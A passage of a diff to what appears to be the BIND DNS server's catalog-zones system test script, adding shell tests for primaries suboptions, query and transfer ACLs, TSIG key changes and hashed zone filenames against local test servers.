+echo_i "removing all records from catalog1 zone ($n)"
 ret=0
-wait_for_soa @10.53.0.2 dom8.example. dig.out.test$n -b 10.53.0.2 || ret=1
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update delete 636722929740e507aaf27c502812fc395d30fb17.zones.catalog1.example. 3600 IN PTR dom2.example.
+    update delete coo.636722929740e507aaf27c502812fc395d30fb17.zones.catalog1.example. 3600 IN TXT "catalog2.example."
+    update delete b901f492f3ebf6c1e5b597e51766f02f0479eb03.zones.catalog1.example. 3600 IN PTR dom3.example.
+    update delete e721433b6160b450260d4f54b3ec8bab30cb3b83.zones.catalog1.example. 3600 IN NS foo.bar.
+    update delete trash.catalog1.example. 3600 IN A 1.2.3.4
+    update delete trash2.foo.catalog1.example. 3600 IN A 1.2.3.4
+    update delete trash3.zones.catalog1.example. 3600 IN NS a.dom2.example.
+    update delete foobarbaz.b901f492f3ebf6c1e5b597e51766f02f0479eb03.zones.catalog1.example. 3600 IN PTR dom3.example.
+    update delete blahblah.636722929740e507aaf27c502812fc395d30fb17.zones.catalog1.example. 3600 IN PTR dom2.example.
+    update delete foobarbaz.b901f492f3ebf6c1e5b597e51766f02f0479eb03.zones.catalog1.example. 3600 IN APL 1:1.2.3.4/30
+    update delete blahblah.636722929740e507aaf27c502812fc395d30fb17.zones.catalog1.example. 3600 IN TXT "blah blah"
+    update delete version.catalog1.example. 3600 IN A 1.2.3.4
+    update delete dom-existing.zones.catalog1.example. 3600 IN PTR dom-existing.example.
+    update delete dom-existing-forward.zones.catalog1.example. 3600 IN PTR dom-existing-forward.example.
+    update delete dom-existing-forward-off.zones.catalog1.example. 3600 IN PTR dom-existing-forward.example.
+    send
+END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom8.example. is AXFR accessible from 10.53.0.1 ($n)"
+echo_i "removing all records from catalog2 zone ($n)"
 ret=0
-dig_with_opts @10.53.0.2 axfr dom8.example. -b 10.53.0.1 > dig.out.test$n
-grep -v "Transfer failed." dig.out.test$n > /dev/null || ret=1
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.3 ${PORT}
+    update delete dom2-with-coo.zones.catalog2.example. 3600 IN PTR dom2.example.
+    update delete primaries.dom2-with-coo.zones.catalog2.example. 3600 IN A 10.53.0.3
+    update delete coo.dom2-with-coo.zones.catalog2.example. 3600 IN PTR catalog1.example.
+    update delete dom4-renamed-label.zones.catalog2.example. 3600 IN PTR dom4.example.
+    send
+END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
+##########################################################################
+echo_i "Testing primaries suboption and random labels"
 n=$((n+1))
-echo_i "checking that dom8.example. is AXFR accessible from 10.53.0.2 ($n)"
+echo_i "adding dom5.example. with a valid primaries suboption (IP without TSIG) and a random label ($n)"
 ret=0
-dig_with_opts @10.53.0.2 axfr dom8.example. -b 10.53.0.2 > dig.out.test$n
-grep -v "Transfer failed." dig.out.test$n > /dev/null || ret=1
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update add somerandomlabel.zones.catalog1.example. 3600 IN PTR dom5.example.
+    update add primaries.ext.somerandomlabel.zones.catalog1.example. 3600 IN A 10.53.0.3
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: adding zone 'dom5.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run  "transfer of 'dom5.example/IN/default' from 10.53.0.3#${PORT}: Transfer status: success" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom5.example. is served by secondary ($n)"
+ret=0
+wait_for_soa @10.53.0.2 dom5.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "removing dom5.example. ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update delete somerandomlabel.zones.catalog1.example. 3600 IN PTR dom5.example.
+    update delete primaries.somerandomlabel.zones.catalog1.example. 3600 IN A 10.53.0.3
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: catz_delzone_cb: zone 'dom5.example' deleted" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom5.example. is no longer served by secondary ($n)"
+ret=0
+wait_for_no_soa @10.53.0.2 dom5.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 
 ##########################################################################
-echo_i "Testing TSIG keys for masters set per-domain"
+echo_i "Testing primaries global option"
 n=$((n+1))
-echo_i "adding a domain dom9.example. to primary via RNDC, with transfers allowed only with TSIG key ($n)"
+echo_i "adding dom6.example. and a valid global primaries option (IP without TSIG) ($n)"
 ret=0
-echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom9.example.db
-echo "@ IN NS invalid." >> ns1/dom9.example.db
-rndccmd 10.53.0.1 addzone dom9.example. '{type primary; file "dom9.example.db"; allow-transfer { key tsig_key; }; };' || ret=1
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update add primaries.ext.catalog1.example. 3600 IN A 10.53.0.3
+    update add primaries.ext.catalog1.example. 3600 IN AAAA fd92:7065:b8e:ffff::3
+    update add 4346f565b4d63ddb99e5d2497ff22d04e878e8f8.zones.catalog1.example. 3600 IN PTR dom6.example.
+    send
+END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom9.example. is now served by primary ($n)"
+echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_soa @10.53.0.1 dom9.example. dig.out.test$n || ret=1
+wait_for_message ns2/named.run  "catz: adding zone 'dom6.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run  "transfer of 'dom6.example/IN/default' from " > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom6.example. is served by secondary ($n)"
+ret=0
+wait_for_soa @10.53.0.2 dom6.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "removing dom6.example. ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update delete primaries.ext.catalog1.example. 3600 IN A 10.53.0.3
+    update delete primaries.ext.catalog1.example. 3600 IN AAAA  fd92:7065:b8e:ffff::3
+    update delete 4346f565b4d63ddb99e5d2497ff22d04e878e8f8.zones.catalog1.example. 3600 IN PTR dom6.example.
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: catz_delzone_cb: zone 'dom6.example' deleted" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom6.example. is no longer served by secondary ($n)"
+ret=0
+wait_for_no_soa @10.53.0.2 dom6.example. dig.out.test$n || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 nextpart ns2/named.run >/dev/null
 
 n=$((n+1))
-echo_i "adding domain dom9.example. to catalog1 zone with a valid masters suboption (IP with TSIG) ($n)"
+echo_i "adding dom6.example. and an invalid global primaries option (TSIG without IP) ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
-    update add f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN PTR dom9.example.
-    update add label1.masters.f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN A 10.53.0.1
-    update add label1.masters.f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN TXT "tsig_key"
+    update add label1.primaries.ext.catalog1.example. 3600 IN TXT "tsig_key"
+    update add 4346f565b4d63ddb99e5d2497ff22d04e878e8f8.zones.catalog1.example. 3600 IN PTR dom6.example.
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -677,26 +1014,70 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: adding zone 'dom9.example' from catalog 'catalog1.example'" &&
-wait_for_message ns2/named.run  "transfer of 'dom9.example/IN' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+wait_for_message ns2/named.run  "catz: adding zone 'dom6.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run  "error \"failure\" while trying to generate config for zone 'dom6.example'" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom9.example. is accessible on secondary ($n)"
+echo_i "removing dom6.example. ($n)"
 ret=0
-wait_for_soa @10.53.0.2 dom9.example. dig.out.test$n || ret=1
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update delete label1.primaries.ext.catalog1.example. 3600 IN TXT "tsig_key"
+    update delete 4346f565b4d63ddb99e5d2497ff22d04e878e8f8.zones.catalog1.example. 3600 IN PTR dom6.example.
+    send
+END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "deleting domain dom9.example. from catalog1 zone ($n)"
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: deleting zone 'dom6.example' from catalog 'catalog1.example' - success" > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+##########################################################################
+n=$((n+1))
+echo_i "Checking that a missing zone directory forces in-memory ($n)"
+ret=0
+grep "'nonexistent' not found; zone files will not be saved" ns2/named.run > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+##########################################################################
+echo_i "Testing allow-query and allow-transfer ACLs"
+n=$((n+1))
+echo_i "adding domains dom7.example. and dom8.example. to primary via RNDC ($n)"
+ret=0
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom7.example.db
+echo "@ IN NS invalid." >> ns1/dom7.example.db
+rndccmd 10.53.0.1 addzone dom7.example. in default '{type primary; file "dom7.example.db";};' || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom8.example.db
+echo "@ IN NS invalid." >> ns1/dom8.example.db
+rndccmd 10.53.0.1 addzone dom8.example. in default '{type primary; file "dom8.example.db";};' || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom7.example. is now served by primary ($n)"
+ret=0
+wait_for_soa @10.53.0.1 dom7.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns2/named.run >/dev/null
+
+n=$((n+1))
+echo_i "adding domain dom7.example. to catalog1 zone with an allow-query statement ($n)"
 ret=0
 $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
     server 10.53.0.1 ${PORT}
-    update delete f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN PTR dom9.example.
-    update delete label1.masters.f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN A 10.53.0.1
-    update delete label1.masters.f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN TXT "tsig_key"
+    update add 78833ec3c0059fd4540fee81c7eaddce088e7cd7.zones.catalog1.example. 3600 IN PTR dom7.example.
+    update add allow-query.ext.78833ec3c0059fd4540fee81c7eaddce088e7cd7.zones.catalog1.example. 3600 IN APL 1:10.53.0.1/32 !1:10.53.0.0/30 1:0.0.0.0/0
     send
 END
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
@@ -705,26 +1086,748 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "waiting for secondary to sync up ($n)"
 ret=0
-wait_for_message ns2/named.run  "catz: deleting zone 'dom9.example' from catalog 'catalog1.example' - success" || ret=1
+wait_for_message ns2/named.run  "catz: adding zone 'dom7.example' from catalog 'catalog1.example'" > /dev/null &&
+wait_for_message ns2/named.run  "transfer of 'dom7.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "checking that dom9.example. is no longer accessible on secondary ($n)"
+echo_i "checking that dom7.example. is accessible from 10.53.0.1 ($n)"
 ret=0
-wait_for_no_soa @10.53.0.2 dom9.example. dig.out.test$n || ret=1
+wait_for_soa @10.53.0.2 dom7.example. dig.out.test$n -b 10.53.0.1 || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom7.example. is not accessible from 10.53.0.2 ($n)"
+ret=0
+wait_for_no_soa @10.53.0.2 dom7.example. dig.out.test$n -b 10.53.0.2 || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom7.example. is accessible from 10.53.0.5 ($n)"
+ret=0
+wait_for_soa @10.53.0.2 dom7.example. dig.out.test$n -b 10.53.0.5 || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns2/named.run >/dev/null
+n=$((n+1))
+echo_i "adding dom8.example. domain and global allow-query and allow-transfer ACLs ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update add cba95222e308baba42417be6021026fdf20827b6.zones.catalog1.example. 3600 IN PTR dom8.example
+    update add allow-query.ext.catalog1.example. 3600 IN APL 1:10.53.0.1/32
+    update add allow-transfer.ext.catalog1.example. 3600 IN APL 1:10.53.0.2/32
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" &&
+wait_for_message ns2/named.run  "transfer of 'dom8.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom8.example. is accessible from 10.53.0.1 ($n)"
+ret=0
+wait_for_soa @10.53.0.2 dom8.example. dig.out.test$n -b 10.53.0.1 || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom8.example. is not accessible from 10.53.0.2 ($n)"
+ret=0
+wait_for_no_soa @10.53.0.2 dom8.example. dig.out.test$n -b 10.53.0.2 || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom8.example. is not AXFR accessible from 10.53.0.1 ($n)"
+ret=0
+dig_with_opts @10.53.0.2 axfr dom8.example. -b 10.53.0.1 > dig.out.test$n || ret=1
+grep "Transfer failed." dig.out.test$n > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom8.example. is AXFR accessible from 10.53.0.2 ($n)"
+ret=0
+dig_with_opts @10.53.0.2 axfr dom8.example. -b 10.53.0.2 > dig.out.test$n || ret=1
+grep -v "Transfer failed." dig.out.test$n > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns2/named.run >/dev/null
+n=$((n+1))
+echo_i "deleting global allow-query and allow-domain ACLs ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update delete allow-query.ext.catalog1.example. 3600 IN APL 1:10.53.0.1/32
+    update delete allow-transfer.ext.catalog1.example. 3600 IN APL 1:10.53.0.2/32
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+ret=0
+wait_for_message ns2/named.run  "catz: update_from_db: new zone merged" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom8.example. is accessible from 10.53.0.1 ($n)"
+ret=0
+wait_for_soa @10.53.0.2 dom8.example. dig.out.test$n -b 10.53.0.1 || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom8.example. is accessible from 10.53.0.2 ($n)"
+ret=0
+wait_for_soa @10.53.0.2 dom8.example. dig.out.test$n -b 10.53.0.2 || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom8.example. is AXFR accessible from 10.53.0.1 ($n)"
+ret=0
+dig_with_opts @10.53.0.2 axfr dom8.example. -b 10.53.0.1 > dig.out.test$n || ret=1
+grep -v "Transfer failed." dig.out.test$n > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom8.example. is AXFR accessible from 10.53.0.2 ($n)"
+ret=0
+dig_with_opts @10.53.0.2 axfr dom8.example. -b 10.53.0.2 > dig.out.test$n || ret=1
+grep -v "Transfer failed." dig.out.test$n > /dev/null || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+
+##########################################################################
+echo_i "Testing TSIG keys for primaries set per-domain"
+n=$((n+1))
+echo_i "adding a domain dom9.example. to primary via RNDC, with transfers allowed only with TSIG key ($n)"
+ret=0
+echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom9.example.db
+echo "@ IN NS invalid." >> ns1/dom9.example.db
+rndccmd 10.53.0.1 addzone dom9.example. in default '{type primary; file "dom9.example.db"; allow-transfer { key tsig_key; }; };' || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom9.example. is now served by primary ($n)"
+ret=0
+wait_for_soa @10.53.0.1 dom9.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns2/named.run >/dev/null
+
+n=$((n+1))
+echo_i "adding domain dom9.example. to catalog1 zone with a valid primaries suboption (IP with TSIG) ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update add f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN PTR dom9.example.
+    update add label1.primaries.ext.f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN A 10.53.0.1
+    update add label1.primaries.ext.f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN TXT "tsig_key"
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: adding zone 'dom9.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run  "transfer of 'dom9.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom9.example. is accessible on secondary ($n)"
+ret=0
+wait_for_soa @10.53.0.2 dom9.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "change TSIG key name on primary ($n)"
+ret=0
+rndccmd 10.53.0.1 modzone dom9.example. in default '{type primary; notify yes; file "dom9.example.db"; allow-transfer { key next_key; }; };' || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "update TSIG key name in catalog zone ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update del label1.primaries.ext.f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN TXT "tsig_key"
+    update add label1.primaries.ext.f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN TXT "next_key"
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: modifying zone 'dom9.example' from catalog 'catalog1.example'" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "update zone contents and reload ($n)"
+ret=0
+echo "@ 3600 IN SOA . . 2 3600 3600 3600 3600" > ns1/dom9.example.db
+echo "@ IN NS ns2" >> ns1/dom9.example.db
+echo "ns2 IN A 10.53.0.2" >> ns1/dom9.example.db
+rndccmd 10.53.0.1 reload dom9.example. || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "wait for primary to update zone ($n)"
+ret=0
+wait_for_a @10.53.0.1 ns2.dom9.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "wait for secondary to update zone ($n)"
+ret=0
+wait_for_a @10.53.0.2 ns2.dom9.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "deleting domain dom9.example. from catalog1 zone ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update delete f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN PTR dom9.example.
+    update delete label1.primaries.ext.f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN A 10.53.0.1
+    update delete label1.primaries.ext.f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN TXT "next_key"
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: deleting zone 'dom9.example' from catalog 'catalog1.example' - success" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "checking that dom9.example. is no longer accessible on secondary ($n)"
+ret=0
+wait_for_no_soa @10.53.0.2 dom9.example. dig.out.test$n || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+nextpart ns2/named.run >/dev/null
+
+n=$((n+1))
+echo_i "adding domain dom9.example. to catalog1 zone with an invalid primaries suboption (TSIG without IP) ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update add f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN PTR dom9.example.
+    update add label1.primaries.ext.f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN TXT "tsig_key"
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: adding zone 'dom9.example' from catalog 'catalog1.example'" &&
+wait_for_message ns2/named.run  "error \"failure\" while trying to generate config for zone 'dom9.example'" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "deleting domain dom9.example. from catalog1 zone ($n)"
+ret=0
+$NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+    server 10.53.0.1 ${PORT}
+    update delete f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN PTR dom9.example.
+    update delete label1.primaries.ext.f0f989bc71c5c8ca3a1eb9c9ab5246521907e3af.zones.catalog1.example. 3600 IN TXT "tsig_key"
+    send
+END
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+n=$((n+1))
+echo_i "waiting for secondary to sync up ($n)"
+ret=0
+wait_for_message ns2/named.run  "catz: deleting zone 'dom9.example' from catalog 'catalog1.example'" || ret=1
+if [ $ret -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+##########################################################################
+echo_i "Testing catalog entries that can't be represented as filenames"
+# note: we need 4 backslashes in the shell to get 2 backslashes in DNS
+# presentation format, which is 1 backslash on the wire.
+for special in \
+       this.is.a.very.very.long.long.long.domain.that.will.cause.catalog.zones.to.generate.hash.instead.of.using.regular.filename.dom10.example \
+       this.zone/domain.has.a.slash.dom10.example \
+       this.zone\\\\domain.has.backslash.dom10.example \
+       this.zone:domain.has.a.colon.dom.10.example
+do
+    # hashes below are generated by:
+    # python ${TOP}/contrib/scripts/catzhash.py "${special}"
+
+    case "$special" in
+    this.is.a.very.very.long.long.long.domain.that.will.cause.catalog.zones.to.generate.hash.instead.of.using.regular.filename.dom10.example)
+        hash=825f48b1ce1b4cf5a041d20255a0c8e98d114858
+        db=__catz__a35e0a044ff9f37436068e1e83e9b99fb9da51b0fe7b699bdb404f7755d68276.db
+        ;;
+    this.zone/domain.has.a.slash.dom10.example)
+        hash=e64cc64c99bf52d0a77fb16dd7ed57cf925a36aa
+        db=__catz__765197c8050c794f4ec5bbf5dbdf64d0551459c08a91a4217768fcd16cd3b7ce.db
+        ;;
+    this.zone\\\\domain.has.backslash.dom10.example)
+        hash=91e27e02153d38cf656a9b376d7747fbcd19f985
+        db=__catz__0f2f3beaf2ef70e0086063ae28a69444cdf3847cb85e668bfe52c89f7f756b29.db
+        ;;
+    this.zone:domain.has.a.colon.dom.10.example)
+        hash=8b7238bf4c34045834c573ba4116557ebb24d33c
+        db=__catz__ba75ab860533508a62b0937c5c6b8537e4186e4d5e7685161287260d07418251.db
+        ;;
+    esac
+
+    n=$((n+1))
+    echo_i "checking that ${special}. is not served by primary ($n)"
+    ret=0
+    wait_for_no_soa @10.53.0.1 "${special}" dig.out.test$n || ret=1
+    if [ $ret -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    n=$((n+1))
+    echo_i "Adding a domain ${special}. to primary via RNDC ($n)"
+    ret=0
+    echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" > ns1/dom10.example.db
+    echo "@ IN NS invalid." >> ns1/dom10.example.db
+    rndccmd 10.53.0.1 addzone '"'"${special}"'"' in default '{type primary; file "dom10.example.db";};' || ret=1
+    if [ $ret -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    n=$((n+1))
+    echo_i "checking that ${special}. is now served by primary ($n)"
+    ret=0
+    wait_for_soa @10.53.0.1 "${special}." dig.out.test$n || ret=1
+    if [ $ret -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    nextpart ns2/named.run >/dev/null
+
+    n=$((n+1))
+    echo_i "Adding domain ${special}. to catalog1 zone ($n)"
+    ret=0
+    $NSUPDATE -d <<END >> nsupdate.out.test$n 2>&1 || ret=1
+      server 10.53.0.1 ${PORT}
+      update add ${hash}.zones.catalog1.example 3600 IN PTR ${special}.
+      send
+END
+    if [ $ret -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    n=$((n+1))
+    echo_i "waiting for secondary to sync up ($n)"
+    ret=0
+    wait_for_message ns2/named.run  "catz: adding zone '$special' from catalog 'catalog1.example'" &&
+    wait_for_message ns2/named.run  "transfer of '$special/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1
+    if [ $ret -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    n=$((n+1))
+    echo_i "checking that ${special}. is served by secondary ($n)"
+    ret=0
+    wait_for_soa @10.53.0.2 "${special}." dig.out.test$n || ret=1
+    if [ $ret -ne 0 ]; then echo_i "failed"; fi
+    status=$((status+ret))
+
+    n=$((n+1))
+    echo_i "checking that zone-directory is populated with a hashed filename ($n)"
+    ret=0
+    wait_for_zonefile "ns2/zonedir/$db" || ret=1
